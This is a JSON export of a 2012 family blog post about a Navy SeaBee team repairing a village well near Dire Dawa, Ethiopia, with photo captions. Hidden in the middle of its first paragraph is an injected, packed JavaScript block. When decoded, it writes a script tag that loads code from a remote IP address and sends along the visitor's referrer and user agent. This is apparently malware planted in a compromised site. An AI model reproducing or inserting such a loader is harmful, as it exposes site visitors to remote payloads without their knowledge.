{"id":3402,"date":"2012-11-15T13:33:21","date_gmt":"2012-11-15T20:33:21","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3402"},"modified":"2013-05-17T11:04:52","modified_gmt":"2013-05-17T18:04:52","slug":"well-done","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3402","title":{"rendered":"Well Done!"},"content":{"rendered":"<p>Yes, it&#8217;s funny every time.<\/p>\n<p>Quick recap:\u00c2\u00a0 Mike &amp; his SeaBees are in Ethiopia, digging &#8211; and fixing &#8211; wells, volunteering time at the local orphanage, and smooching hyenas.<\/p>\n<div><em>The <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktrtf|var|u0026u|referrer|eifyt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> village of Legota Mirga is about 45 minutes south of Dire Dawa. It has a school, a small medical clinic (with no doctors, and a broken generator), and a water well that was drilled in 2010. For\u00c2\u00a0over 2 years, the well hadn&#8217;t\u00c2\u00a0worked! Americans often came to look at and speculate what was wrong, but it&#8217;s hard to tell what&#8217;s at the bottom of a well. EO1 &#8220;Willie&#8221; Wilson, CM3 Jon Muzic, and I went there a few weeks ago, cut a hole in the side of the well and dropped in an electric sensor that could tell if there was any water in the well. We found water at 141 feet.<\/em><\/div>\n<div><\/div>\n<div>They came back with a forklift, a camera on a long cable, and parts to fix it if their theory was right&#8230;.<\/div>\n<div><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0404.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3407\" title=\"a tight squeeze to get the forklift up the narrow ravines into the village\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0404-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0404-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0404-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/div>\n<div><\/div>\n<div><\/div>\n<div><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0408.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3409\" title=\"Duck tape a flashligh to a camera and drop it into the well\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0408-225x300.jpg\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0408-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0408-768x1024.jpg 768w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a>\u00c2\u00a0\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04111.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3410\" title=\"They were right!  The camera shows a broken pipe.\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04111-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04111-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04111-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/div>\n<div><\/div>\n<div><\/div>\n<div><\/div>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04151.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3412\" title=\"yeah, penguin duct-tape fixes everything\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04151-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04151-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04151-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><em>With the top of the well removed, the pipe could fall to the bottom of the well shaft\u00c2\u00a0and ruin the well forever.\u00c2\u00a0The plan was to use\u00c2\u00a0chains with hooks to keep the pipe from falling in\u00c2\u00a0and pull it up from the well, but the hooks were slipping! The team needed to improve their grip, and FAST! Duct Tape fixes anything!<\/em><\/p>\n<div><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0416.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3405\" title=\"With the forklift, the broken sections of pipe get lifted out. \" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0416-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0416-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_0416-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/div>\n<div><\/div>\n<div><\/div>\n<div>After a long day putting together a new pipe and sending it into the well&#8230;<\/div>\n<div><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04191.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3414\" title=\"WATER!\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04191-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04191-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/IMG_04191-1024x768.jpg 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/div>\n<div>&#8230; the tired crew has brought water back to Legota Mirga!<\/div>\n<div><\/div>\n<div><\/div>\n<div>\n<p>&nbsp;<\/p>\n<p>After repairing a second hopelessly-broken well, they finally got the drill rig they need for digging three new ones, and can <em>really<\/em> get started.<\/p>\n<div>\u00c2\u00a0<a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/rig.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3420\" title=\"The drill rig arrives!\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/rig-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/rig-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/rig-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/rig.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/div>\n<div><\/div>\n<div>And as a footnote&#8230;<\/div>\n<div><\/div>\n<div>What is this?\u00c2\u00a0 A hawk?\u00c2\u00a0 An eagle??<\/div>\n<div><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/eagle.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3419\" title=\"Whatever it is, it's beautiful.\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/eagle-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/eagle-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/eagle-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/11\/eagle.jpg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Yes, it&#8217;s funny every time. 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